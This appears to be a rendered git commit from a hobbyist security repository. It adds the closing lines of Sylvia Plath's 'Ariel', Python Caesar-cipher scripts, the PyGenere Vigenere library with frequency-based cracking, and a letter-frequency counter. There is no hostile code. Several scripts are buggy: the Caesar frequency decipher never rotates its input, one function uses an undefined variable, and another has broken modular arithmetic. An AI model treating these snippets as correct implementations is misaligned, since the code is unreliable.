Then the substanceless blue
|
||||
Pour of tor and distances.
|
||||
God’s lioness,
|
||||
How one we grow,
|
||||
Pivot of heels and knees!—The furrow
|
||||
Splits and passes, sister to
|
||||
The brown arc
|
||||
Of the neck I cannot catch,
|
||||
Nigger-eye
|
||||
Berries cast dark
|
||||
Hooks—
|
||||
Black sweet blood mouthfuls,
|
||||
Shadows.
|
||||
Something else
|
||||
Hauls me through air—
|
||||
Thighs, hair;
|
||||
Flakes from my heels.
|
||||
White
|
||||
Godiva, I unpeel—
|
||||
Dead hands, dead stringencies.
|
||||
And now I
|
||||
Foam to wheat, a glitter of seas.
|
||||
The child’s cry
|
||||
Melts in the wall.
|
||||
And I
|
||||
Am the arrow,
|
||||
The dew that flies
|
||||
Suicidal, at one with the drive
|
||||
Into the red
|
||||
Eye, the cauldron of morning.
|
6
Cryptography/RotationCiphers/README.md
Normal file
6
Cryptography/RotationCiphers/README.md
Normal file
|
@ -0,0 +1,6 @@
|
|||
CryptoAnalysis
|
||||
==============
|
||||
|
||||
* Several implementations of Caesar cipher with frequency analysis.
|
||||
|
||||
* Vinegere code.
|
85
Cryptography/RotationCiphers/caesarCipher.py
Normal file
85
Cryptography/RotationCiphers/caesarCipher.py
Normal file
|
@ -0,0 +1,85 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
|
||||
__author__ = "bt3gl"
|
||||
|
||||
|
||||
import string
|
||||
|
||||
|
||||
FREQ_ENGLISH = [0.0749, 0.0129, 0.0354, 0.0362, 0.1400, 0.0218, 0.0174, 0.0422, 0.0665, 0.0027, 0.0047, 0.0357,
|
||||
0.0339, 0.0674, 0.0737, 0.0243, 0.0026, 0.0614, 0.0695, 0.0985, 0.0300, 0.0116, 0.0169, 0.0028,
|
||||
0.0164, 0.0004]
|
||||
|
||||
|
||||
|
||||
def delta(freq_word, freq_eng):
|
||||
# zip together the value from the text and the value from FREQ_EdiffGlist_freqISH
|
||||
diff = 0.0
|
||||
for a, b in zip(freq_word, freq_eng):
|
||||
diff += abs(a - b)
|
||||
return diff
|
||||
|
||||
|
||||
|
||||
def cipher(msg, key):
|
||||
# Make the cipher
|
||||
dec = ''
|
||||
for c in msg.lower():
|
||||
if 'a' <= c <= 'z':
|
||||
dec += chr(ord('a') + (ord(c) - ord('a') + key) % 26)
|
||||
else:
|
||||
dec += c
|
||||
return dec
|
||||
|
||||
|
||||
|
||||
def frequency(msg):
|
||||
# Compute the word frequencies
|
||||
dict_freq = dict([(c,0) for c in string.lowercase])
|
||||
diff = 0.0
|
||||
for c in msg:
|
||||
if 'a'<= c <= 'z':
|
||||
diff += 1
|
||||
dict_freq[c] += 1
|
||||
list_freq = dict_freq.items()
|
||||
list_freq.sort()
|
||||
return [b / diff for (a, b) in list_freq]
|
||||
|
||||
|
||||
|
||||
def decipher(msg):
|
||||
# Decipher by frequency
|
||||
min_delta = 1000
|
||||
best_rotation = 0
|
||||
freq = frequency(msg)
|
||||
for key in range(26):
|
||||
d = delta(freq, FREQ_ENGLISH)
|
||||
if d < min_delta:
|
||||
min_delta = d
|
||||
best_rotation = key
|
||||
return cipher(msg, -best_rotation)
|
||||
|
||||
|
||||
|
||||
def decipher_simple(msg):
|
||||
# very smart way of solving using translate and maketrans methods
|
||||
diff = (ord('t') - ord(s[0])) % 26
|
||||
x = string.ascii_lowercase
|
||||
x = x[diff:] + x[:diff]
|
||||
ans = string.translate(s,string.maketrans(string.ascii_lowercase,x))
|
||||
return ans
|
||||
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
|
||||
key = 13
|
||||
text = 'hacker school is awesome!'
|
||||
cip = cipher(text, key)
|
||||
dec = decipher(cip)
|
||||
|
||||
print "Cipher: " + cip
|
||||
print "Decipher: " + dec
|
||||
|
||||
assert(text == dec)
|
44
Cryptography/RotationCiphers/cesarCipher_simple.py
Normal file
44
Cryptography/RotationCiphers/cesarCipher_simple.py
Normal file
|
@ -0,0 +1,44 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
|
||||
__author__ = "Mari Wahl"
|
||||
__email__ = "marina.w4hl@gmail.com"
|
||||
|
||||
'''
|
||||
Cesar Ecrypt
|
||||
'''
|
||||
|
||||
import sys
|
||||
|
||||
|
||||
def encrypt(message, k):
|
||||
alphabet = list('abcdefghijklmnopqrstuvwxyz ')
|
||||
cipher = ''
|
||||
for c in message:
|
||||
cipher += alphabet[(alphabet.index(c) + k)%(len(alphabet))]
|
||||
return cipher
|
||||
|
||||
|
||||
def decrypt(message, k):
|
||||
alphabet = list('abcdefghijklmnopqrstuvwxyz ')
|
||||
decipher = ''
|
||||
for c in message:
|
||||
decipher += alphabet[(alphabet.index(c) - k)%(len(alphabet))]
|
||||
return decipher
|
||||
|
||||
|
||||
def main():
|
||||
MESSAGE = list(raw_input('Enter the message to be encrypted: ')) or "all your basis belong to us"
|
||||
k = 13
|
||||
|
||||
encrypted_msg = encrypt(MESSAGE, k)
|
||||
print("Encrypted message: " + encrypted_msg)
|
||||
|
||||
|
||||
decrypted_msg = decrypt(encrypted_msg, k)
|
||||
assert(decrypted_msg == MESSAGE)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
|
51
Cryptography/RotationCiphers/cesarCipher_simple_2.py
Normal file
51
Cryptography/RotationCiphers/cesarCipher_simple_2.py
Normal file
|
@ -0,0 +1,51 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
|
||||
__author__ = "Mari Wahl"
|
||||
__email__ = "marina.w4hl@gmail.com"
|
||||
|
||||
'''
|
||||
Cesar encrypt - better
|
||||
'''
|
||||
|
||||
import sys
|
||||
|
||||
|
||||
def encrypt(message, k):
|
||||
cipher = ''
|
||||
for c in message:
|
||||
c = (ord(c) + k) % 26
|
||||
if c < 32:
|
||||
c += 32
|
||||
cipher += chr(c)
|
||||
return cipher
|
||||
|
||||
|
||||
|
||||
def decrypt(message, k):
|
||||
cipher = ''
|
||||
for c in message:
|
||||
c = (ord(c) - k) % 26
|
||||
if c < 32:
|
||||
c += 126-32
|
||||
cipher += chr(c)
|
||||
return cipher
|
||||
|
||||
|
||||
|
||||
def main():
|
||||
#MESSAGE = list(raw_input('Enter the message to be encrypted: ')) or "all your basis belong to us"
|
||||
MESSAGE = 'jxu qdimuh je jxyi ijqwu yi qdimuhxuhu'
|
||||
for k in range (13, 14):
|
||||
|
||||
#encrypted_msg = encrypt(MESSAGE, k)
|
||||
#print("Encrypted message: " + encrypted_msg)
|
||||
|
||||
|
||||
decrypted_msg = decrypt(MESSAGE, k)
|
||||
print("Decrypted message: " + decrypted_msg)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
|
477
Cryptography/RotationCiphers/pygenere.py
Normal file
477
Cryptography/RotationCiphers/pygenere.py
Normal file
|
@ -0,0 +1,477 @@
|
|||
# PyGenere v 0.3
|
||||
#
|
||||
# Release Date: 2007-02-16
|
||||
# Author: Simon Liu <webmonkey at smurfoncrack dot com>
|
||||
# URL: http://smurfoncrack.com/pygenere
|
||||
# History and License at end of file
|
||||
|
||||
|
||||
r"""
|
||||
This library implements the Caesar and Vigenere ciphers, allowing a piece of
|
||||
plaintext to be encoded using a numeric rotation or an alphabetic keyword,
|
||||
and also decoded if the key/rotation is known.
|
||||
|
||||
In case the key is not known, methods are provided that analyze the ciphertext
|
||||
and attempt to find the original key and decode the message: these work using
|
||||
character frequency analysis. English, French, German, Italian, Portuguese,
|
||||
and Spanish texts are currently supported. Results are generally accurate if
|
||||
the length of the plaintext is long compared to the length of the key used to
|
||||
encipher it.
|
||||
|
||||
Example usage:
|
||||
|
||||
>>> from pygenere import *
|
||||
>>> plaintext = 'Attack at dawn.'
|
||||
>>> key = 3
|
||||
>>> ciphertext = Caesar(plaintext).encipher(key)
|
||||
>>> ciphertext
|
||||
'Dwwdfn dw gdzq.'
|
||||
>>> Vigenere(ciphertext).decipher('D') # A=0, B=1, C=2, D=3, etc.
|
||||
'Attack at dawn.'
|
||||
|
||||
The 'Attack at dawn.' message is too short for the automatic Vigenere decoder
|
||||
to work properly. A way around this is to concatenate copies of the message
|
||||
to itself, increasing the amount of text to analyze:
|
||||
|
||||
>>> VigCrack(ciphertext*5).crack_codeword(1)
|
||||
'D'
|
||||
>>> VigCrack(ciphertext*5).crack_message()
|
||||
'Attack at dawn.Attack at dawn.Attack at dawn.Attack at dawn.Attack at dawn.'
|
||||
|
||||
The crack_message() and crack_codeword() methods in the VigCrack class take 0,
|
||||
1 or 2 arguments. For more information, see the docstrings for those methods.
|
||||
|
||||
Note that this method (repeating the ciphertext) does not always work, but can
|
||||
sometimes be of use, as in the case of the example above.
|
||||
|
||||
Both the encipher() and decipher() methods for Vigenere and Caesar objects
|
||||
return a cipher object of the same type. This makes method chaining possible:
|
||||
|
||||
>>> codeword = 'King'
|
||||
>>> Vigenere(plaintext).encipher(codeword).decipher(codeword)
|
||||
'Attack at dawn.'
|
||||
>>> Caesar(plaintext).encipher(3).decipher(2).decipher(1)
|
||||
'Attack at dawn.'
|
||||
|
||||
Note:
|
||||
|
||||
1. Non-alphabetic input (e.g. " " and "." above) is left as is.
|
||||
2. The case of the input (plaintext/ciphertext) is preserved.
|
||||
3. The case of the key doesn't matter, e.g. 'king', 'KING', and 'KiNg' are
|
||||
identical keys.
|
||||
|
||||
Since each cipher is a subclass of the built-in str class, any cipher object
|
||||
can be treated as a string. For instance:
|
||||
|
||||
>>> Vigenere(plaintext).replace(' ', '').lower()
|
||||
'attackatdawn.'
|
||||
|
||||
However, since Python 2.1 and below don't seem to support subclasses of
|
||||
the str class, Python 2.2 or newer is required to use this library.
|
||||
|
||||
By default, PyGenere assumes that the original plaintext message was written
|
||||
in English, and thus English character frequencies are used for analysis.
|
||||
To change the language, the set_language() method is used. For example, the
|
||||
following code shows a short French string, encrypted with the keyword
|
||||
'FR', decoded. Without setting the language first, an incorrect result is
|
||||
obtained:
|
||||
|
||||
>>> text = 'Non, je ne veux pas coucher avec vous ce soir'
|
||||
>>> encrypted = Vigenere(text).encipher('FR')
|
||||
>>> print VigCrack(encrypted).set_language('FR').crack_codeword(2)
|
||||
FR
|
||||
>>> print VigCrack(encrypted).crack_codeword(2)
|
||||
FS
|
||||
|
||||
This isn't always the case: two languages may have similar enough character
|
||||
frequency distributions that decoding sometimes works correctly even when the
|
||||
language setting is incorrect.
|
||||
|
||||
Currently, PyGenere's language options other than English are DE (German),
|
||||
ES (Spanish), FR (French), IT (Italian), and PT (Portuguese).
|
||||
"""
|
||||
|
||||
|
||||
class Caesar(str):
|
||||
|
||||
"""An implementation of the Caesar cipher."""
|
||||
|
||||
def encipher(self, shift):
|
||||
"""Encipher input (plaintext) using the Caesar cipher and return it
|
||||
(ciphertext)."""
|
||||
ciphertext = []
|
||||
for p in self:
|
||||
if p.isalpha():
|
||||
ciphertext.append(chr((ord(p) - ord('Aa'[int(p.islower())]) +
|
||||
shift) % 26 + ord('Aa'[int(p.islower())])))
|
||||
else:
|
||||
ciphertext.append(p)
|
||||
return Caesar(''.join(ciphertext))
|
||||
|
||||
def decipher(self, shift):
|
||||
"""Decipher input (ciphertext) using the Caesar cipher and return it
|
||||
(plaintext)."""
|
||||
return self.encipher(-shift)
|
||||
|
||||
|
||||
class Vigenere(str):
|
||||
|
||||
"""An implementation of the Vigenere cipher."""
|
||||
|
||||
def encipher(self, key):
|
||||
"""Encipher input (plaintext) using the Vigenere cipher and return
|
||||
it (ciphertext)."""
|
||||
ciphertext = []
|
||||
k = 0
|
||||
n = len(key)
|
||||
for i in range(len(self)):
|
||||
p = self[i]
|
||||
if p.isalpha():
|
||||
ciphertext.append(chr((ord(p) + ord(
|
||||
(key[k % n].upper(), key[k % n].lower())[int(p.islower())]
|
||||
) - 2*ord('Aa'[int(p.islower())])) % 26 +
|
||||
ord('Aa'[int(p.islower())])))
|
||||
k += 1
|
||||
else:
|
||||
ciphertext.append(p)
|
||||
return Vigenere(''.join(ciphertext))
|
||||
|
||||
def decipher(self, key):
|
||||
"""Decipher input (ciphertext) using the Vigenere cipher and return
|
||||
it (plaintext)."""
|
||||
plaintext = []
|
||||
k = 0
|
||||
n = len(key)
|
||||
for i in range(len(self)):
|
||||
c = self[i]
|
||||
if c.isalpha():
|
||||
plaintext.append(chr((ord(c) - ord(
|
||||
(key[k % n].upper(), key[k % n].lower())[int(c.islower())]
|
||||
)) % 26 + ord('Aa'[int(c.islower())])))
|
||||
k += 1
|
||||
else:
|
||||
plaintext.append(c)
|
||||
return Vigenere(''.join(plaintext))
|
||||
|
||||
|
||||
class InputError(Exception):
|
||||
|
||||
"""This class is only used for throwing exceptions if the user supplies
|
||||
invalid input (e.g. ciphertext is an empty string)."""
|
||||
|
||||
pass
|
||||
|
||||
|
||||
class VigCrack(Vigenere):
|
||||
|
||||
"""
|
||||
VigCrack objects have methods to break Vigenere-encoded texts when the
|
||||
original key is unknown.
|
||||
|
||||
The technique used is based on the one described in:
|
||||
|
||||
http://www.stonehill.edu/compsci/Shai_papers/RSA.pdf
|
||||
(pages 9-10)
|
||||
|
||||
Character frequencies taken from:
|
||||
http://www.csm.astate.edu/~rossa/datasec/frequency.html (English)
|
||||
http://www.characterfrequency.com/ (French, Italian, Portuguese, Spanish)
|
||||
http://www.santacruzpl.org/readyref/files/g-l/ltfrqger.shtml (German)
|
||||
"""
|
||||
|
||||
# Unless otherwise specified, test for codewords between (and including)
|
||||
# these two lengths:
|
||||
__default_min_codeword_length = 5
|
||||
__default_max_codeword_length = 9
|
||||
|
||||
# The following are language-specific data on character frequencies.
|
||||
# Kappa is the "index of coincidence" described in the cryptography paper
|
||||
# (link above).
|
||||
__english_data = {
|
||||
'A':8.167, 'B':1.492, 'C':2.782, 'D':4.253, 'E':12.702,
|
||||
'F':2.228, 'G':2.015, 'H':6.094, 'I':6.996, 'J':0.153,
|
||||
'K':0.772, 'L':4.025, 'M':2.406, 'N':6.749, 'O':7.507,
|
||||
'P':1.929, 'Q':0.095, 'R':5.987, 'S':6.327, 'T':9.056,
|
||||
'U':2.758, 'V':0.978, 'W':2.360, 'X':0.150, 'Y':1.974,
|
||||
'Z':0.074, 'max_val':12.702, 'kappa':0.0667
|
||||
}
|
||||
|
||||
__french_data = {
|
||||
'A':8.11, 'B':0.903, 'C':3.49, 'D':4.27, 'E':17.22,
|
||||
'F':1.14, 'G':1.09, 'H':0.769, 'I':7.44, 'J':0.339,
|
||||
'K':0.097, 'L':5.53, 'M':2.89, 'N':7.46, 'O':5.38,
|
||||
'P':3.02, 'Q':0.999, 'R':7.05, 'S':8.04, 'T':6.99,
|
||||
'U':5.65, 'V':1.30, 'W':0.039, 'X':0.435, 'Y':0.271,
|
||||
'Z':0.098, 'max_val':17.22, 'kappa':0.0746
|
||||
}
|
||||
|
||||
__german_data = {
|
||||
'A':6.506, 'B':2.566, 'C':2.837, 'D':5.414, 'E':16.693,
|
||||
'F':2.044, 'G':3.647, 'H':4.064, 'I':7.812, 'J':0.191,
|
||||
'K':1.879, 'L':2.825, 'M':3.005, 'N':9.905, 'O':2.285,
|
||||
'P':0.944, 'Q':0.055, 'R':6.539, 'S':6.765, 'T':6.742,
|
||||
'U':3.703, 'V':1.069, 'W':1.396, 'X':0.022, 'Y':0.032,
|
||||
'Z':1.002, 'max_val':16.693, 'kappa':0.0767
|
||||
}
|
||||
|
||||
__italian_data = {
|
||||
'A':11.30, 'B':0.975, 'C':4.35, 'D':3.80, 'E':11.24,
|
||||
'F':1.09, 'G':1.73, 'H':1.02, 'I':11.57, 'J':0.035,
|
||||
'K':0.078, 'L':6.40, 'M':2.66, 'N':7.29, 'O':9.11,
|
||||
'P':2.89, 'Q':0.391, 'R':6.68, 'S':5.11, 'T':6.76,
|
||||
'U':3.18, 'V':1.52, 'W':0.00, 'X':0.024, 'Y':0.048,
|
||||
'Z':0.958, 'max_val':11.57, 'kappa':0.0733
|
||||
}
|
||||
|
||||
__portuguese_data = {
|
||||
'A':13.89, 'B':0.980, 'C':4.18, 'D':5.24, 'E':12.72,
|
||||
'F':1.01, 'G':1.17, 'H':0.905, 'I':6.70, 'J':0.317,
|
||||
'K':0.0174, 'L':2.76, 'M':4.54, 'N':5.37, 'O':10.90,
|
||||
'P':2.74, 'Q':1.06, 'R':6.67, 'S':7.90, 'T':4.63,
|
||||
'U':4.05, 'V':1.55, 'W':0.0104, 'X':0.272, 'Y':0.0165,
|
||||
'Z':0.400, 'max_val':13.89, 'kappa':0.0745
|
||||
}
|
||||
|
||||
__spanish_data = {
|
||||
'A':12.09, 'B':1.21, 'C':4.20, 'D':4.65, 'E':13.89,
|
||||
'F':0.642, 'G':1.11, 'H':1.13, 'I':6.38, 'J':0.461,
|
||||
'K':0.038, 'L':5.19, 'M':2.86, 'N':7.23, 'O':9.58,
|
||||
'P':2.74, 'Q':1.37, 'R':6.14, 'S':7.43, 'T':4.49,
|
||||
'U':4.53, 'V':1.05, 'W':0.011, 'X':0.124, 'Y':1.14,
|
||||
'Z':0.324, 'max_val':13.89, 'kappa':0.0766
|
||||
}
|
||||
|
||||
# The default language is set to English.
|
||||
__lang = 'EN'
|
||||
__lang_data = __english_data
|
||||
|
||||
# This method sets the lang (__lang) attribute of a VigCrack object.
|
||||
def set_language(self, language):
|
||||
self.__lang = language.upper()
|
||||
if self.__lang == 'DE':
|
||||
self.__lang_data = self.__german_data
|
||||
elif self.__lang == 'ES':
|
||||
self.__lang_data = self.__spanish_data
|
||||
elif self.__lang == 'FR':
|
||||
self.__lang_data = self.__french_data
|
||||
elif self.__lang == 'IT':
|
||||
self.__lang_data = self.__italian_data
|
||||
elif self.__lang == 'PT':
|
||||
self.__lang_data = self.__portuguese_data
|
||||
else:
|
||||
self.__lang = 'EN'
|
||||
return self
|
||||
|
||||
# Rotate text n places to the right, wrapping around at the end.
|
||||
def __rotate_right(self, n):
|
||||
cutting_point = len(self) - (n % len(self))
|
||||
return self[cutting_point:] + self[:cutting_point]
|
||||
|
||||
# Get every nth char from a piece of text, from a given starting position.
|
||||
def __get_every_nth_char(self, start, n):
|
||||
accumulator = []
|
||||
for i in range(len(self)):
|
||||
if (i % n) == start:
|
||||
accumulator.append(self[i])
|
||||
return VigCrack(''.join(accumulator)).set_language(self.__lang)
|
||||
|
||||
# Build a dictionary containing the number of occurrences of each char.
|
||||
def __count_char_freqs(self):
|
||||
dictionary = {}
|
||||
self = self.upper()
|
||||
for char in self:
|
||||
if char.isalpha():
|
||||
dictionary[char] = dictionary.get(char, 0) + 1
|
||||
return dictionary
|
||||
|
||||
# Scale the dictionary so that it can be compared with __lang_data.
|
||||
def __scale(self, dictionary):
|
||||
v = dictionary.values()
|
||||
v.sort()
|
||||
max_val = v[-1]
|
||||
scaling_factor = self.__lang_data['max_val']/max_val
|
||||
for (k, v) in dictionary.items():
|
||||
dictionary[k] = v*scaling_factor
|
||||
return dictionary
|
||||
|
||||
# The residual error is the difference between a char's frequency in
|
||||
# __lang_data and its frequency in the scaled dictionary from above.
|
||||
# The error is then squared to remove a possible negative value.
|
||||
def __sum_residuals_squared(self, dictionary):
|
||||
sum = 0
|
||||
for (k, v) in dictionary.items():
|
||||
sum += (v - self.__lang_data[k])**2
|
||||
return sum
|
||||
|
||||
# Find the Caesar shift that brings the ciphertext closest to the
|
||||
# character distribution of the plaintext's language.
|
||||
def __find_best_caesar_shift(self):
|
||||
best = 0
|
||||
smallest_sum = -1
|
||||
# Find the residual sum for each shift.
|
||||
for shift in range(26):
|
||||
encoded_text = Caesar(self).encipher(shift)
|
||||
vigcrack_obj = VigCrack(encoded_text).set_language(self.__lang)
|
||||
char_freqs = vigcrack_obj.__count_char_freqs()
|
||||
scaled = vigcrack_obj.__scale(char_freqs)
|
||||
current_sum = vigcrack_obj.__sum_residuals_squared(scaled)
|
||||
# Keep track of the shift with the lowest residual sum.
|
||||
# If there's a tie, the smallest shift wins.
|
||||
if smallest_sum == -1:
|
||||
smallest_sum = current_sum
|
||||
if current_sum < smallest_sum:
|
||||
best = shift
|
||||
smallest_sum = current_sum
|
||||
return best
|
||||
|
||||
def __find_codeword_length(self, min_length, max_length):
|
||||
codeword_length = min_length
|
||||
kappas = []
|
||||
# Put the kappa value for each codeword length tested into an array.
|
||||
for i in range(min_length, max_length + 1):
|
||||
temp = self.__rotate_right(i)
|
||||
coincidences = 0
|
||||
for j in range(len(self)):
|
||||
if temp[j] == self[j]:
|
||||
coincidences += 1
|
||||
kappas.append(float(coincidences)/len(self))
|
||||
# Find out which value of kappa is closest to the kappa of the
|
||||
# plaintext's language. If there's a tie, the shortest codeword wins.
|
||||
smallest_squared_diff = -1
|
||||
for i in range((max_length + 1) - min_length):
|
||||
current_squared_diff = (self.__lang_data['kappa'] - kappas[i])**2
|
||||
if smallest_squared_diff == -1:
|
||||
smallest_squared_diff = current_squared_diff
|
||||
if current_squared_diff < smallest_squared_diff:
|
||||
codeword_length = min_length + i
|
||||
smallest_squared_diff = current_squared_diff
|
||||
return codeword_length
|
||||
|
||||
def __find_codeword(self, min_length, max_length):
|
||||
# Strip away invalid chars.
|
||||
accumulator = []
|
||||
for char in self:
|
||||
if char.isalpha():
|
||||
accumulator.append(char)
|
||||
alpha_only = VigCrack(''.join(accumulator)).set_language(self.__lang)
|
||||
codeword_length = alpha_only.__find_codeword_length(min_length,
|
||||
max_length)
|
||||
# Build the codeword by finding one character at a time.
|
||||
codeword = []
|
||||
for i in range(codeword_length):
|
||||
temp = alpha_only.__get_every_nth_char(i, codeword_length)
|
||||
shift = temp.__find_best_caesar_shift()
|
||||
if shift == 0:
|
||||
codeword.append('A')
|
||||
else:
|
||||
codeword.append(chr(ord('A') + (26 - shift)))
|
||||
return VigCrack(''.join(codeword)).set_language(self.__lang)
|
||||
|
||||
def __parse_args(self, *arg_list):
|
||||
if len(arg_list) == 0: # Use default values for codeword length.
|
||||
min_length = self.__default_min_codeword_length
|
||||
max_length = self.__default_max_codeword_length
|
||||
elif len(arg_list) == 1: # Exact codeword length specified by user.
|
||||
min_length = max_length = int(arg_list[0])
|
||||
else: # min_length and max_length given by user.
|
||||
min_length = int(arg_list[0])
|
||||
max_length = int(arg_list[1])
|
||||
# Check for input errors.
|
||||
if min_length == max_length:
|
||||
if min_length < 1:
|
||||
raise InputError('Codeword length is too small')
|
||||
else:
|
||||
if min_length < 1:
|
||||
raise InputError('min_length is too small')
|
||||
if max_length < 1:
|
||||
raise InputError('max_length is too small')
|
||||
if max_length < min_length:
|
||||
raise InputError('max_length cannot be shorter than min_length')
|
||||
if len(self) == 0:
|
||||
raise InputError('Ciphertext is empty')
|
||||
if len(self) < max_length:
|
||||
raise InputError('Ciphertext is too short')
|
||||
# Check that the ciphertext contains at least one valid character.
|
||||
has_valid_char = False
|
||||
for char in self:
|
||||
if char.isalpha():
|
||||
has_valid_char = True
|
||||
break
|
||||
if not has_valid_char:
|
||||
raise InputError('No valid characters in ciphertext')
|
||||
# If everything's all right, return the min_length and max_length.
|
||||
return [min_length, max_length]
|
||||
|
||||
def crack_codeword(self, *arg_list):
|
||||
"""
|
||||
Try to find the codeword that encrypted the ciphertext object.
|
||||
If no arguments are supplied, codewords between the default minimum
|
||||
length and the default maximum length are tried.
|
||||
If one integer argument is supplied, only codewords with that length
|
||||
will be tried.
|
||||
If two integer arguments are given then the first argument is treated
|
||||
as a minimum codeword length, and the second argument is treated as a
|
||||
maximum codeword length, to try.
|
||||
"""
|
||||
array = self.__parse_args(*arg_list)
|
||||
return self.__find_codeword(array[0], array[1])
|
||||
|
||||
def crack_message(self, *arg_list):
|
||||
"""
|
||||
Try to decode the ciphertext object.
|
||||
This method accepts arguments in the same way as the crack_codeword()
|
||||
method.
|
||||
"""
|
||||
codeword = self.crack_codeword(*arg_list)
|
||||
return self.decipher(codeword)
|
||||
|
||||
|
||||
# History
|
||||
# -------
|
||||
#
|
||||
# 2007-02-16: v 0.3. Minor (mostly cosmetic) modifications to make the code
|
||||
# more compliant with the Python Style Guide
|
||||
# (http://www.python.org/dev/peps/pep-0008/).
|
||||
#
|
||||
# 2006-06-11: v 0.2. Language support added for German (DE), Spanish (ES),
|
||||
# French (FR), Italian (IT), and Portuguese (PT).
|
||||
#
|
||||
# 2006-04-29: v 0.1. First release.
|
||||
#
|
||||
#
|
||||
#
|
||||
# License
|
||||
# -------
|
||||
#
|
||||
# Copyright (c) 2006, Simon Liu <webmonkey at smurfoncrack dot com>
|
||||
# All rights reserved.
|
||||
#
|
||||
# This library incorporates code from the PyCipher project on SourceForge.net
|
||||
# (http://sourceforge.net/projects/pycipher/). The original copyright notice
|
||||
# is preserved below as required; these modifications are released under the
|
||||
# same terms.
|
||||
#
|
||||
#
|
||||
# Copyright (c) 2005, Aggelos Orfanakos <csst0266atcsdotuoidotgr>
|
||||
# All rights reserved.
|
||||
#
|
||||
# Redistribution and use in source and binary forms, with or without
|
||||
# modification, are permitted provided that the following conditions are met:
|
||||
#
|
||||
# * Redistributions of source code must retain the above copyright notice, this
|
||||
# list of conditions and the following disclaimer.
|
||||
#
|
||||
# * Redistributions in binary form must reproduce the above copyright notice,
|
||||
# this list of conditions and the following disclaimer in the documentation
|
||||
# and/or other materials provided with the distribution.
|
||||
#
|
||||
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
|
||||
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
87
Cryptography/RotationCiphers/taste_like_english.py
Normal file
87
Cryptography/RotationCiphers/taste_like_english.py
Normal file
|
@ -0,0 +1,87 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
__author__ = "Mari Wahl"
|
||||
__email__ = "marina.w4hl@gmail.com"
|
||||
|
||||
'''
|
||||
This program calculate the frequency of letters in a files
|
||||
so we can use this for cryptoanalysis later.
|
||||
|
||||
For example, the 10 most frequent words in english:
|
||||
e -> 0.104
|
||||
t -> 0.072
|
||||
a -> 0.065
|
||||
0 -> 0.059
|
||||
n -> 0.056
|
||||
i -> 0.055
|
||||
s -> 0.051
|
||||
r -> 0.049
|
||||
h -> 0.049
|
||||
d -> 0.034
|
||||
'''
|
||||
|
||||
import chardet
|
||||
from collections import defaultdict
|
||||
|
||||
|
||||
# calculate the mean values from the table
|
||||
def taste_like_english(dict_mean, word):
|
||||
mean_word = 0
|
||||
counter = 0
|
||||
for c in word:
|
||||
if c in dict_mean.keys():
|
||||
mean_word += dict_mean[c]
|
||||
counter += 1
|
||||
return mean_word/counter
|
||||
|
||||
|
||||
|
||||
|
||||
# count number of letters
|
||||
def count_letters(FILE):
|
||||
dict_letters = defaultdict(int)
|
||||
with open(FILE) as file:
|
||||
for line in file:
|
||||
for word in line.lower().split():
|
||||
for c in word:
|
||||
if c!='!' and c!="," and c!="-" and c!="."\
|
||||
and c!=";" and chardet.detect(c)['encoding'] == 'ascii':
|
||||
dict_letters[c] += 1
|
||||
return dict_letters
|
||||
|
||||
|
||||
|
||||
# calculate the frequency for the letters
|
||||
def calculate_mean(dict_letters):
|
||||
dict_mean = defaultdict(float)
|
||||
sum_all = sum(dict_letters.values())
|
||||
for letter in sorted(dict_letters.keys()):
|
||||
dict_mean[letter] = float(dict_letters[letter])/sum_all
|
||||
return dict_mean
|
||||
|
||||
|
||||
|
||||
|
||||
# first, test letters with official values
|
||||
def test_values():
|
||||
dict_letters_test = {'e':0.104, 't':0.072, 'a':0.065, 'o':0.059, \
|
||||
'n': 0.056, 'i': 0.055, 's':0.051, 'r':0.049, 'h':0.049, 'd':0.034}
|
||||
print('Test for "english": ', taste_like_english(dict_letters_test, 'english')) # == 0.045"
|
||||
|
||||
|
||||
|
||||
# now, test with some file, creating dictionary of letters
|
||||
def test_file():
|
||||
dict_letters = count_letters(FILE)
|
||||
dict_mean = calculate_mean(dict_letters)
|
||||
for key in sorted(dict_mean, key=dict_mean.get, reverse=True):
|
||||
print(key + ' --> ' + str(dict_mean[key]))
|
||||
|
||||
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
test_values()
|
||||
|
||||
FILE = 'Ariel_Sylvia_Plath.txt'
|
||||
test_file()
|
Loading…
Add table
Add a link
Reference in a new issue